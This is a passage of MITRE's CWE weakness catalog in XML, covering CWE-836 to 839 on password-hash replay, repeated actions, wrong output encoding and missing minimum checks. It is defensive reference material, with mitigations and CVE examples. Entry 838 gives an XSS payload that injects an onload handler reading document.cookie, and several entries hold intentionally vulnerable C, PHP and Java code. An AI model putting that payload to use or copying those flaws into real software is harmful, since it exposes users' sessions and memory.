               <Submission_Date>2011-03-22</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, References, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated References, Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="836" Name="Use of Password Hash Instead of Password for Authentication" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product records password hashes in a data store, receives a hash of a password from a client, and compares the supplied hash to the hash obtained from the data store.</Description>
         <Extended_Description>
            <xhtml:p>Some authentication mechanisms rely on the client to generate the hash for a password, possibly to reduce load on the server or avoid sending the password across the network. However, when the client is used to generate the hash, an attacker can bypass the authentication by obtaining a copy of the hash, e.g. by using SQL injection to compromise a database of authentication credentials, or by exploiting an information exposure. The attacker could then use a modified client to replay the stolen hash without having knowledge of the original password.</xhtml:p>
            <xhtml:p>As a result, the server-side comparison against a client-side hash does not provide any more security than the use of passwords without hashing.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1390" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="PeerOf" CWE_ID="602" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Note>An attacker could bypass the authentication routine without knowing the original password.</Note>
            </Consequence>
         </Common_Consequences>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2009-1283</Reference>
               <Description>Product performs authentication with user-supplied password hashes that can be obtained from a separate SQL injection vulnerability (CVE-2009-1282).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-1283</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-3435</Reference>
               <Description>Product allows attackers to bypass authentication by obtaining the password hash for another user and specifying the hash in the pwd argument.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-3435</Link>
            </Observed_Example>
         </Observed_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="644"/>
            <Related_Attack_Pattern CAPEC_ID="652"/>
         </Related_Attack_Patterns>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2011-03-22</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Observed_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="837" Name="Improper Enforcement of a Single, Unique Action" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product requires that an actor should only be able to perform an action once, or to have only one unique action, but the product does not enforce or improperly enforces this restriction.</Description>
         <Extended_Description>In various applications, a user is only expected to perform a certain action once, such as voting, requesting a refund, or making a purchase. When this restriction is not enforced, sometimes this can have security implications. For example, in a voting application, an attacker could attempt to "stuff the ballot box" by voting multiple times. If these votes are counted separately, then the attacker could directly affect who wins the vote. This could have significant business impact depending on the purpose of the product.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="799" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Note>An attacker might be able to gain advantage over other users by performing the action multiple times, or affect the correctness of the product.</Note>
            </Consequence>
         </Common_Consequences>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2008-0294</Reference>
               <Description>Ticket-booking web application allows a user to lock a seat more than once.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-0294</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-4051</Reference>
               <Description>CMS allows people to rate downloads by voting more than once.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-4051</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-216</Reference>
               <Description>Polling software allows people to vote more than once by setting a cookie.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-216</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-1433</Reference>
               <Description>Chain: lack of validation of a challenge key in a game allows a player to register multiple times and lock other players out of the game.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-1433</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1018</Reference>
               <Description>Library feature allows attackers to check out the same e-book multiple times, preventing other users from accessing copies of the e-book.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1018</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-2346</Reference>
               <Description>Protocol implementation allows remote attackers to cause a denial of service (call-number exhaustion) by initiating many message exchanges.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-2346</Link>
            </Observed_Example>
         </Observed_Examples>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2011-03-24</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Observed_Examples</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Common_Consequences, Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="838" Name="Inappropriate Encoding for Output Context" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product uses or specifies an encoding when generating output to a downstream component, but the specified encoding is not the same as the encoding that is expected by the downstream component.</Description>
         <Extended_Description>
            <xhtml:p>This weakness can cause the downstream component to use a decoding method that produces different data than what the product intended to send. When the wrong encoding is used - even if closely related - the downstream component could decode the data incorrectly. This can have security consequences when the provided boundaries between control and data are inadvertently broken, because the resulting data could introduce control characters or special elements that were not sent by the product. The resulting data could then be used to bypass protection mechanisms such as input validation, and enable injection attacks.</xhtml:p>
            <xhtml:p>While using output encoding is essential for ensuring that communications between components are accurate, the use of the wrong encoding - even if closely related - could cause the downstream component to misinterpret the output.</xhtml:p>
            <xhtml:p>For example, HTML entity encoding is used for elements in the HTML body of a web page. However, a programmer might use entity encoding when generating output for that is used within an attribute of an HTML tag, which could contain functional Javascript that is not affected by the HTML encoding.</xhtml:p>
            <xhtml:p>While web applications have received the most attention for this problem, this weakness could potentially apply to any type of product that uses a communications stream that could support multiple encodings.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="116" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="116" View_ID="1003" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Availability</Scope>
               <Impact>Modify Application Data</Impact>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Note>An attacker could modify the structure of the message or data being sent to the downstream component, possibly injecting commands.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Strategy>Output Encoding</Strategy>
               <Description>Use context-aware encoding. That is, understand which encoding is being used by the downstream component, and ensure that this encoding is used. If an encoding can be specified, do so, instead of assuming that the default encoding is the same as the default being assumed by the downstream component.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Strategy>Output Encoding</Strategy>
               <Description>Where possible, use communications protocols or data formats that provide strict boundaries between control and data. If this is not feasible, ensure that the protocols or formats allow the communicating components to explicitly state which encoding/decoding method is being used. Some template frameworks provide built-in support.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-4.3">
               <Phase>Architecture and Design</Phase>
               <Strategy>Libraries or Frameworks</Strategy>
               <Description>
                  <xhtml:p>Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.</xhtml:p>
                  <xhtml:p>For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.</xhtml:p>
                  <xhtml:p>Note that some template mechanisms provide built-in support for the appropriate encoding.</xhtml:p>
               </Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>This code dynamically builds an HTML page using POST data:</Intro_Text>
               <Example_Code Nature="Bad" Language="PHP">
                  <xhtml:div>$username = $_POST['username'];<xhtml:br/>$picSource = $_POST['picsource'];<xhtml:br/>$picAltText = $_POST['picalttext'];<xhtml:br/>
                     <xhtml:i>...</xhtml:i>
                     <xhtml:br/>
                     <xhtml:br/>echo "&lt;title&gt;Welcome, " . htmlentities($username) ."&lt;/title&gt;";<xhtml:br/>echo "&lt;img src='". htmlentities($picSource) ." ' alt='". htmlentities($picAltText) . '" /&gt;';<xhtml:br/>
                     <xhtml:i>...</xhtml:i>
                     <xhtml:br/>
                  </xhtml:div>
               </Example_Code>
               <Body_Text>The programmer attempts to avoid XSS exploits (CWE-79) by encoding the POST values so they will not be interpreted as valid HTML. However, the htmlentities() encoding is not appropriate when the data are used as HTML attributes, allowing more attributes to be injected.</Body_Text>
               <Body_Text>For example, an attacker can set picAltText to:</Body_Text>
               <Example_Code Nature="Attack">
                  <xhtml:div>"altTextHere' onload='alert(document.cookie)"</xhtml:div>
               </Example_Code>
               <Body_Text>This will result in the generated HTML image tag:</Body_Text>
               <Example_Code Nature="Result" Language="HTML">
                  <xhtml:div>&lt;img src='pic.jpg' alt='altTextHere' onload='alert(document.cookie)' /&gt;</xhtml:div>
               </Example_Code>
               <Body_Text>The attacker can inject arbitrary javascript into the tag due to this incorrect encoding.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2009-2814</Reference>
               <Description>Server does not properly handle requests that do not contain UTF-8 data; browser assumes UTF-8, allowing XSS.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-2814</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>IDS13-J</Entry_ID>
               <Entry_Name>Use compatible encodings on both sides of file or network IO</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="468"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-786"/>
            <Reference External_Reference_ID="REF-787"/>
            <Reference External_Reference_ID="REF-788"/>
            <Reference External_Reference_ID="REF-789"/>
            <Reference External_Reference_ID="REF-709" Section="Preventing XSS Attacks"/>
            <Reference External_Reference_ID="REF-725"/>
            <Reference External_Reference_ID="REF-45"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2011-03-24</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, References, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated References, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="839" Name="Numeric Range Comparison Without Minimum Check" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product checks a value to ensure that it is less than or equal to a maximum, but it does not also verify that the value is greater than or equal to the minimum.</Description>
         <Extended_Description>
            <xhtml:p>Some products use signed integers or floats even when their values are only expected to be positive or 0. An input validation check might assume that the value is positive, and only check for the maximum value. If the value is negative, but the code assumes that the value is positive, this can produce an error. The error may have security consequences if the negative value is used for memory allocation, array access, buffer access, etc. Ultimately, the error could lead to a buffer overflow or other type of memory corruption.</xhtml:p>
            <xhtml:p>The use of a negative number in a positive-only context could have security implications for other types of resources. For example, a shopping cart might check that the user is not requesting more than 10 items, but a request for -3 items could cause the application to calculate a negative price and credit the attacker's account.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1023" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="195" View_ID="1000"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="682" View_ID="1000"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="119" View_ID="1000"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="124" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="C" Prevalence="Often"/>
            <Language Name="C++" Prevalence="Often"/>
         </Applicable_Platforms>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>Signed comparison</Term>
               <Description>The "signed comparison" term is often used to describe when the product uses a signed variable and checks it to ensure that it is less than a maximum value (typically a maximum buffer size), but does not verify that it is greater than 0.</Description>
            </Alternate_Term>
         </Alternate_Terms>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Availability</Scope>
               <Impact>Modify Application Data</Impact>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Note>An attacker could modify the structure of the message or data being sent to the downstream component, possibly injecting commands.</Note>
            </Consequence>
            <Consequence>
               <Scope>Availability</Scope>
               <Impact>DoS: Resource Consumption (Other)</Impact>
               <Note>in some contexts, a negative value could lead to resource consumption.</Note>
            </Consequence>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Impact>Modify Memory</Impact>
               <Impact>Read Memory</Impact>
               <Note>If a negative value is used to access memory, buffers, or other indexable structures, it could access memory outside the bounds of the buffer.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Strategy>Enforcement by Conversion</Strategy>
               <Description>If the number to be used is always expected to be positive, change the variable type from signed to unsigned or size_t.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>If the number to be used could have a negative value based on the specification (thus requiring a signed value), but the number should only be positive to preserve code correctness, then include a check to ensure that the value is positive.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-21">
               <Intro_Text>The following code is intended to read an incoming packet from a socket and extract one or more headers.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>DataPacket *packet;<xhtml:br/>int numHeaders;<xhtml:br/>PacketHeader *headers;<xhtml:br/>
                     <xhtml:br/>sock=AcceptSocketConnection();<xhtml:br/>ReadPacket(packet, sock);<xhtml:br/>numHeaders =packet-&gt;headers;<xhtml:br/>
                     <xhtml:br/>if (numHeaders &gt; 100) {<xhtml:div style="margin-left:1em;">ExitError("too many headers!");</xhtml:div>}<xhtml:br/>headers = malloc(numHeaders * sizeof(PacketHeader);<xhtml:br/>ParsePacketHeaders(packet, headers);</xhtml:div>
               </Example_Code>
               <Body_Text>The code performs a check to make sure that the packet does not contain too many headers. However, numHeaders is defined as a signed int, so it could be negative. If the incoming packet specifies a value such as -3, then the malloc calculation will generate a negative number (say, -300 if each header can be a maximum of 100 bytes). When this result is provided to malloc(), it is first converted to a size_t type. This conversion then produces a large value such as 4294966996, which may cause malloc() to fail or to allocate an extremely large amount of memory (CWE-195). With the appropriate negative numbers, an attacker could trick malloc() into using a very small positive number, which then allocates a buffer that is much smaller than expected, potentially leading to a buffer overflow.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-23">
               <Intro_Text>The following code reads a maximum size and performs a sanity check on that size. It then performs a strncpy, assuming it will not exceed the boundaries of the array. While the use of "short s" is forced in this particular example, short int's are frequently used within real-world code, such as code that processes structured data.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>int GetUntrustedInt () {<xhtml:div style="margin-left:1em;">return(0x0000FFFF);</xhtml:div>}<xhtml:br/>
                     <xhtml:br/>void main (int argc, char **argv) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>char path[256];<xhtml:br/>char *input;<xhtml:br/>int i;<xhtml:br/>short s;<xhtml:br/>unsigned int sz;<xhtml:br/>
                           <xhtml:br/>i = GetUntrustedInt();<xhtml:br/>s = i;<xhtml:br/>/* s is -1 so it passes the safety check - CWE-697 */<xhtml:br/>if (s &gt; 256) {<xhtml:div style="margin-left:1em;">DiePainfully("go away!\n");</xhtml:div>}<xhtml:br/>
                           <xhtml:br/>/* s is sign-extended and saved in sz */<xhtml:br/>sz = s;<xhtml:br/>
                           <xhtml:br/>/* output: i=65535, s=-1, sz=4294967295 - your mileage may vary */<xhtml:br/>printf("i=%d, s=%d, sz=%u\n", i, s, sz);<xhtml:br/>
                           <xhtml:br/>input = GetUserInput("Enter pathname:");<xhtml:br/>
                           <xhtml:br/>/* strncpy interprets s as unsigned int, so it's treated as MAX_INT<xhtml:br/>(CWE-195), enabling buffer overflow (CWE-119) */<xhtml:br/>strncpy(path, input, s);<xhtml:br/>path[255] = '\0'; /* don't want CWE-170 */<xhtml:br/>printf("Path is: %s\n", path);</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>This code first exhibits an example of CWE-839, allowing "s" to be a negative number. When the negative short "s" is converted to an unsigned integer, it becomes an extremely large positive integer. When this converted integer is used by strncpy() it will lead to a buffer overflow (CWE-119).</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-100">
               <Intro_Text>In the following code, the method retrieves a value from an array at a specific array index location that is given as an input parameter to the method</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>int getValueFromArray(int *array, int len, int index) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>int value;<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// check that the array index is less than the maximum</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// length of the array</xhtml:i>
                           <xhtml:br/>if (index &lt; len) {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>
                                 <xhtml:br/>
                                 <xhtml:i>// get the value at the specified index of the array</xhtml:i>
                                 <xhtml:br/>value = array[index];</xhtml:div>
                           </xhtml:div>}<xhtml:br/>
                           <xhtml:i>// if array index is invalid then output error message</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// and return value indicating error</xhtml:i>
                           <xhtml:br/>else {<xhtml:div style="margin-left:1em;">printf("Value is: %d\n", array[index]);<xhtml:br/>value = -1;</xhtml:div>}<xhtml:br/>
                           <xhtml:br/>return value;</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>However, this method only verifies that the given array index is less than the maximum length of the array but does not check for the minimum value (CWE-839). This will allow a negative value to be accepted as the input array index, which will result in a out of bounds read (CWE-125) and may allow access to sensitive memory. The input array index should be checked to verify that is within the maximum and minimum range required for the array (CWE-129). In this example the if statement should be modified to include a minimum range check, as shown below.</Body_Text>
               <Example_Code Nature="Good" Language="C">
                  <xhtml:div>
                     <xhtml:br/>...<xhtml:br/>
                     <xhtml:br/>
                     <xhtml:i>// check that the array index is within the correct</xhtml:i>
                     <xhtml:br/>
                     <xhtml:br/>
                     <xhtml:i>// range of values for the array</xhtml:i>
                     <xhtml:br/>if (index &gt;= 0 &amp;&amp; index &lt; len) {<xhtml:br/>
                     <xhtml:br/>...</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>The following code shows a simple BankAccount class with deposit and withdraw methods.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>public class BankAccount {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>public final int MAXIMUM_WITHDRAWAL_LIMIT = 350;<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// variable for bank account balance</xhtml:i>
                           <xhtml:br/>private double accountBalance;<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// constructor for BankAccount</xhtml:i>
                           <xhtml:br/>public BankAccount() {<xhtml:div style="margin-left:1em;">accountBalance = 0;</xhtml:div>}<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// method to deposit amount into BankAccount</xhtml:i>
                           <xhtml:br/>public void deposit(double depositAmount) {...}<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// method to withdraw amount from BankAccount</xhtml:i>
                           <xhtml:br/>public void withdraw(double withdrawAmount) {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>
                                 <xhtml:br/>if (withdrawAmount &lt; MAXIMUM_WITHDRAWAL_LIMIT) {<xhtml:div style="margin-left:1em;">
                                    <xhtml:div>
                                       <xhtml:br/>double newBalance = accountBalance - withdrawAmount;<xhtml:br/>accountBalance = newBalance;</xhtml:div>
                                 </xhtml:div>}<xhtml:br/>else {<xhtml:div style="margin-left:1em;">System.err.println("Withdrawal amount exceeds the maximum limit allowed, please try again...");<xhtml:br/>...</xhtml:div>}</xhtml:div>
                           </xhtml:div>}<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// other methods for accessing the BankAccount object</xhtml:i>
                           <xhtml:br/>...</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
